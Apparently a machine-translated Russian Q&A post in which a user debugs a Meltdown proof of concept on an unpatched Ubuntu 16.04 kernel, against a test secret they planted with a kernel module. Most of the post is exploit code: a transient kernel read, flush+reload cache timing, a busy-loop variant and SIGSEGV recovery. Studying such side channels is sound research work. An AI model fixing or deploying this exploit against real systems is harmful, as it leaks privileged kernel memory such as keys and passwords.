Я пытаюсь использовать уязвимость системы безопасности при перепаде Ubuntu 16.04 с не исправленным ядром 4.8.0-36 на Intel Core-i5 4300M CPU.
Во-первых, я храню секретные данные по адресу в пространстве ядра, используя модуль ядра:
static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}
Оператор printk дает мне адрес секретных данных.
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Затем я пытаюсь получить доступ к данным в этом месте и в следующей инструкции использовать их для кэширования элемента массива.
// Out of order execution
int meltdown(unsigned long kernel_addr){
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Execute out of order
}
Я ожидаю, что ЦП продолжит кэшировать элемент массива с индексом (данные * 4096 + DELTA) при выполнении внеочередного выполнения. После этого выполняется проверка границ и выбрасывается SIGSEGV.
Я обрабатываю SIGSEGV, а затем время доступа к элементам массива, чтобы определить, какой из них был кэширован:
void attackChannel_x86(){
register uint64_t time1, time2;
volatile uint8_t *addr;
int min = 10000;
int temp, i, k;
for(i=0;i<256;i++){
time1 = __rdtscp(&temp); //timestamp before memory access
temp = array[i*4096 + DELTA];
time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
if(time2<=min){
min = time2;
k=i;
}
}
printf("array[%d*4096+DELTA]\n", k);
}
Поскольку значение в данных равно «a», я ожидаю, что результатом будет массив [97 * 4096 + DELTA], поскольку значение ASCII для «a» равно 97.
Однако, это не работает, и я получаю случайные результаты.
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[241*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]
Возможные причины, о которых я мог подумать:
- Инструкция, кэширующая элемент массива, не выполняется
вышел из строя.
- Выполняется не по порядку, но кэш очищается.
- Я неправильно понял отображение памяти в модуле ядра и неверный адрес, который я использую
Поскольку система уязвима к краху, я уверен, что исключает 2-ю возможность.
Следовательно, мой вопрос: Почему здесь не работает внеплановое исполнение? Существуют ли какие-либо параметры / флаги, которые «побуждают» процессор работать не по порядку?
Решения, которые я уже пробовал:
- Использование clock_gettime вместо rdtscp для доступа к памяти времени.
void attackChannel(){
int i, k, temp;
uint64_t diff;
volatile uint8_t *addr;
double min = 10000000;
struct timespec start, end;
for(i=0;i<256;i++){
addr = &array[i*4096 + DELTA];
clock_gettime(CLOCK_MONOTONIC, &start);
temp = *addr;
clock_gettime(CLOCK_MONOTONIC, &end);
diff = end.tv_nsec - start.tv_nsec;
if(diff<=min){
min = diff;
k=i;
}
}
if(min<600)
printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
- Сохранение арифметических единиц «занятыми», выполняя цикл (см. meltdown_busy_loop )
void meltdown_busy_loop(unsigned long kernel_addr){
char kernel_data;
asm volatile(
".rept 1000;"
"add $0x01, %%eax;"
".endr;"
:
:
:"eax"
);
kernel_data = *(char*)kernel_addr;
array[kernel_data*4096 + DELTA] +=10;
}
- Использование procfs для принудительного помещения данных в кэш перед выполнением временной атаки (см. распад )
int meltdown(unsigned long kernel_addr){
// Cache the data to improve success
int fd = open("/proc/my_secret_key", O_RDONLY);
if(fd<0){
perror("open");
return -1;
}
int ret = pread(fd, NULL, 0, 0); //Data is cached
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Out of order
}
Для тех, кто заинтересован в его настройке, вот ссылка на репозиторий github
Ради полноты я добавляю код основной функции и обработки ошибок ниже:
void flushChannel(){
int i;
for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;
for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}
void catch_segv(){
siglongjmp(jbuf, 1);
}
int main(){
unsigned long kernel_addr = 0xfa2ef024;
signal(SIGSEGV, catch_segv);
if(sigsetjmp(jbuf, 1)==0)
{
// meltdown(kernel_addr);
meltdown_busy_loop(kernel_addr);
}
else{
printf("Memory Access Violation\n");
}
attackChannel_x86();
}